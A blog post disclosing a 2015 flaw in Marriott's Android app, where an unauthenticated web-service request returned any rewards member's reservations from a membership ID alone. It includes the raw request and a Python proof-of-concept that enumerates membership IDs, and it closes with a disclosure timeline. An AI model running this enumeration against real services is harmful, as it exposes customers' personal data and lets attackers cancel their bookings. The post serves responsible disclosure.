Marriott has been been in the news lately regarding its stance on blocking customer WiFi communications in their conference centers. As a customer of Marriott, I questioned how well they “blocked” access to my sensitive information in their system. Being that the security of web services is notoriously neglected, I figured their Marriott International Android app would be a good place to start.
After starting up the app and logging in to my Marriott Rewards account, I was brought to a screen that showed my upcoming reservations (I didn’t have any).
The request to fetch the reservations was very interesting. Note the lack of any Cookie or Authorization header.
POST https://m.marriott.com/middleware/MWServlet HTTP/1.1 Host: m.marriott.com Content-Length: 171 Accept-Encoding: gzip, deflate, compress Accept: */* platform=android&appID=mrt&appver=3.3.0&indicator=true&locale=en&MembershipID=***REMOVED***&rcid=SCH-I545&channel=rc&serviceID=Search&cacheid=&platformver=5.0.GA_v201305312050
Marriott was fetching upcoming reservations with a completely unauthenticated request to their web service, meaning one could query the reservations of any rewards member by simply specifying the Membership ID (rewards number). It appeared concerning enough, but I wondered how serious the impact was to customers. With permission, exploring the upcoming reservations of a friend revealed what a valid response looked like:
{ "HotelReservation": [ { "HotelName": "***REMOVED***", "ExpireDate": "2015-11-02", "isCheckinBeforeToday": "false", "HotelCode": "***REMOVED***", "checkInDateLongFormat": "***REMOVED***", "ResID_Type": "1", "EffectiveDate": "2015-11-01", "HotelReservationID": "***REMOVED***", "LastName": "SMITH" } ], "httpStatusCode": 200, "opstatus": 0 }
There’s a lot of sensitive information there. What’s worse is that in order to completely manage a reservation on Marriott’s website, one only needs the reservation number along with the last name of the customer. As seen above, both of these fields are returned in the response.
Logging in to manage the reservation, one could cancel the entire reservation.
The customer’s contact and payment information was available on another screen, though only the last four digits of the credit card number was shown.
Obviously, this was a very serious vulnerability. Below is a proof-of-concept exploit I wrote in order to demonstrate the issue to Marriott’s technical team.
import requests url = "https://m.marriott.com/middleware/MWServlet" mid = 584227105 while 1: payload = "platform=android&appID=mrt&appver=3.3.0&indicator=true&locale=en&MembershipID=%d&rcid" \ "=SCH-I545&channel=rc&serviceID=Search&cacheid=&platformver=5.0.GA_v201305312050" % mid r = requests.post(url, data=payload) if "errorCodeSet" not in r.json(): print "Membership ID: %d" %mid print r.text quit() mid -= 1
It was difficult to get in contact with the right person at Marriott. I attempted the best practice email format for security issues ([email protected]), but the mailbox didn’t exist. After over a month of trying Twitter and some LinkedIn contacts, I finally got in touch with the someone in information security. I was extremely impressed with Marriott’s response; their team immediately took the report seriously and ended up resolving the vulnerability in about one day. See the timeline below.
Disclosure Timeline
2015-01-20: Point of contact made
2015-01-20: Report of issue w/ POC
2015-01-20: Confirmed receipt and investigation begins
2015-01-21: Follow-up email received, fix pushed
2015-01-21: Resolution confirmed
Marriott communicated their appreciation to me for notifying them of the vulnerability.
Share this: